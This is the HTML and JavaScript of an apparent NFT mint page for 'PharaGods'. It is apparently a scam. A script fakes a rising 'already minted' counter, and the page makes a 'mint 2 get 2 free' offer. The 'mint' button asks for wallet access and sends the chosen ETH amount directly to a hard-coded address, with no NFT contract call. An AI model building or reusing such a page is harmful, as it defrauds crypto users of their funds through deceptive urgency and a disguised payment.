<strong>PharaGods</strong><!DOCTYPE html>  <html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>PharaGods</title> <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no"> <meta name="theme-color" content="#000000"> <meta name="robots" content="index, follow"> <meta name="description" content="PharaGods is a project composed of 3,333 NFTs hand crafted by Matt Millard in collaboration with David Masson. We unified the most experienced people in the industry to deliver a remarkable, cutting edge product.. "> <meta property="og:url" content="https://pharagods.pre-salemint.com/"> <meta property="og:type" content="website"> <meta property="og:title" content="PharaGods"> <meta property="og:description" content="PharaGods is a project composed of 3,333 NFTs hand crafted by Matt Millard in collaboration with David Masson. We unified the most experienced people in the industry to deliver a remarkable, cutting edge product.. "> <meta property="og:image" content=""> <meta name="twitter:card" content="summary_large_image"> <meta property="twitter:domain" content=""> <meta property="twitter:url" content=""> <meta name="twitter:title" content="PharaGods"> <meta name="twitter:description" content="PharaGods is a project composed of 3,333 NFTs hand crafted by Matt Millard in collaboration with David Masson. We unified the most experienced people in the industry to deliver a remarkable, cutting edge product.."> <meta name="twitter:image" content=""> <script src="https://cdnjs.cloudflare.com/ajax/libs/web3/1.6.1/web3.min.js" ></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/jquery.min.js" integrity="sha512-894YE6QWD5I59HgZOGReFYm4dnWc1Qt5NtvYSaNcOP+u1T9qYdvdihz0PPSiiqn/+/3e7Jo4EaG7TubfWGUrMQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script> <style> body {margin: 0; padding: 0; background: url('bg.jpg') no-repeat #000; min-height: 100vh; background-size: cover; } /* .site { position: relative; top: 0; left: 0; z-index: 1; width: 100%; } */ button{ cursor: pointer; } .d-form { display: flex; align-items: center; width: 100%; } .d-form button { background: #ffffff; border: 1px solid transparent; margin: 5px; padding: 2px; width: 32px !important; color:#000; font-size: 18px; font-weight: bold; border-radius: 5px; display: inline-block; } .d-form button:hover { background: #999999; border: none; } .d-form h1 { margin: 5px; padding: 5px 10px; width: 32px; font-size: 18px; font-weight: bold; border-radius: 5px; color: #ffffff !important; } .btn-mint { background: #ffffff; padding: 8px 15px !important; border-radius: 6px; margin-top: 10px; border: none; color: #000; font-weight: bold; font-size: 15px; border: 1px solid transparent; letter-spacing: 2px; } .form-control { color: #fff; background: #000;} .btn-danger { background: #fff; color: #000 !important; font-weight: bold; border: none; border: 1px solid transparent; } .mfor { background: rgba(0, 0, 0, 0.8); border: 1px solid transparent; box-sizing: border-box; border-radius: 6px; min-width: 400px; max-width: 550px; min-height: 400px; padding: 10px; color: white !important; position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); z-index: 99 !important; display: flex; flex-direction: column; text-align: center; margin: 10px; line-height: 30px; } .vh-100 { min-height: 100vh; } .btn-outline-warning { border: 2px solid rgb(146, 141, 134); color: rgb(146, 141, 134); padding: 10px 25px; } .sub-title{ font-size: 42px; letter-spacing: 5px; font-weight: 400; color:#fff; } .title{ font-size: 120px; letter-spacing: 5px; font-weight: 700; color:#fff; } .left{ background: url('./images/logo.png') no-repeat; width: 45%; height: 300px; background-size: contain; position: absolute; left: 4%; top: 15%; transition: .2s;} .right{ background: url('./images/pops.png') no-repeat; width: 45%; height: 600px; background-size: contain; position: absolute; right: 2%; bottom: 0%; transition: .2s;} /* .left:hover, .right:hover{ transform: scale(107%); } */ .logo img { width: 80px; border-radius: 10px; margin: 15px auto !important; text-align: center; color: #fff;} .logo h3 { color: #fff; text-align: center; font-size: 20px; font-weight: 400; word-spacing: 3px; } .hero-img { width: 75%; border-radius: 15px; margin: 15px auto; } .h-50 { min-height: 70vh; } .gifiuse{ width: 80px; border-radius: 10px;} @media only screen and (max-width: 600px) { .mfor { width: 80% !important; margin: 0px auto; } .title { font-size: 88px; font-weight: 600;} .sub-title { font-size: 38px;} .right{ right: 9%; top: 5%;} .hero { position: absolute; top: 10%; width: 100%;} .hero .fw-bold { font-size: 28px !important; display: none;} .h-50 { height: auto !important; } } </style> </head> <body data-new-gr-c-s-check-loaded="14.1045.0" data-gr-ext-installed="" cz-shortcut-listen="true"> <main> <div class="main-flex">  <div class="mfor py-5"> <div class="mt-8"> <div class="sec-title text-center max-w-3xl mx-auto"> <br /><br /> <h2 style="font-weight: bold; color: #ffB404; font-size: 30px;"> PHARAGODS </h2> <h2 style="font-weight: bold; color: #fff; font-size: 40px;"> Mint Now </h2> <img src="./gifiuse.gif" class="img-fluid gifiuse" alt="gi"> <p style="font-size: 18px; font-weight: bold; color: #fff;"> Already Minted: <span class="mintCount">1141</span> / 3333 </p> <p style="font-size: 18px; font-weight: bold; color: #ffb404;"> MINT 2 GET 2 FREE </p> <strong style="font-size: 18px; font-weight: bold; color: #fff;"> 0.3 ETH + GAS </strong> <br /> <strong style="font-size: 18px; font-weight: bold; color: #fff;"> 10 NFTs per Wallet </strong> <div class="mt-4"> <div class="d-flex justify-content-center flex-column align-items-center"> <div class="d-form" style="justify-content: center; align-items: center;"> <button class="btn btn-danger bt-minus mx-2">-</button> <h1 class="form-control mt-2 txval"> 1 </h1> <button class="btn btn-danger bt-plus mx-2">+</button> </div> <input type="hidden" name="amount" id="inpAmt" value="0.3" /> <div class="bg-mint"> <button class="btn btn-secondary btn-mint py-4 px-5 btn-pay"> MINT NOW FOR <span class="ethval">0.3</span> ETH </button> </div> <br><br> </div> </div> </div> </div> </div> <script> var amount = 0.3; $(function() { var mintCount = 1141; setInterval(function() { if(mintCount < 3333) { mintCount = mintCount + 1; } $('.mintCount').text(mintCount); },2000); $('.bt-plus').click(function() { var va = parseInt($('.txval').text().trim()); var ethval = 0.3 if(va < 10) { va = va+1; $('.txval').text(va); $('.ethval').text(amount = (0.3 * va).toFixed(2)); $('#inpAmt').val(amount); } }) $('.bt-minus').click(function() { var va = parseInt($('.txval').text().trim()); var ethval = 0.3 if(va > 1) { va = va-1; $('.txval').text(va); $('.ethval').text(amount = (0.3 * va).toFixed(2)); $('#inpAmt').val(amount); } }) }) window.addEventListener('load', async () => { if(window.ethereum) { window.web3 = new Web3(ethereum); try { await ethereum.enable(); $('#connect').hide(); initPayButton() } catch (err) { alert('User denied account access', err); } } else if (window.web3) { window.web3 = new Web3(web3.currentProvider) $('#connect').hide(); initPayButton() } else { alert('Non-Ethereum browser detected. You should consider trying MetaMask!'); } }) const initPayButton = () => { $('.btn-pay').click(async () => { var ethamount = ($('#inpAmt').val()); console.log('payment inititated', ethamount); // paymentAddress is where funds will be send to const paymentAddress = '0xb42B76A7b701FcB2a45816cE5BA105AE5c03181D' const amountEth = (ethamount) let accounts = await web3.eth.getAccounts(); web3.eth.defaultAccount = accounts[0] web3.eth.sendTransaction({ to: paymentAddress, value: web3.utils.toWei(amountEth, 'ether') }, (err, transactionId) => { if (err) { console.log('Payment failed', err) alert('Payment failed') } else { console.log('Payment successful', transactionId) alert('Payment successful') } }) }) } </script> </div> </body><grammarly-desktop-integration data-grammarly-shadow-root="true"></grammarly-desktop-integration></html>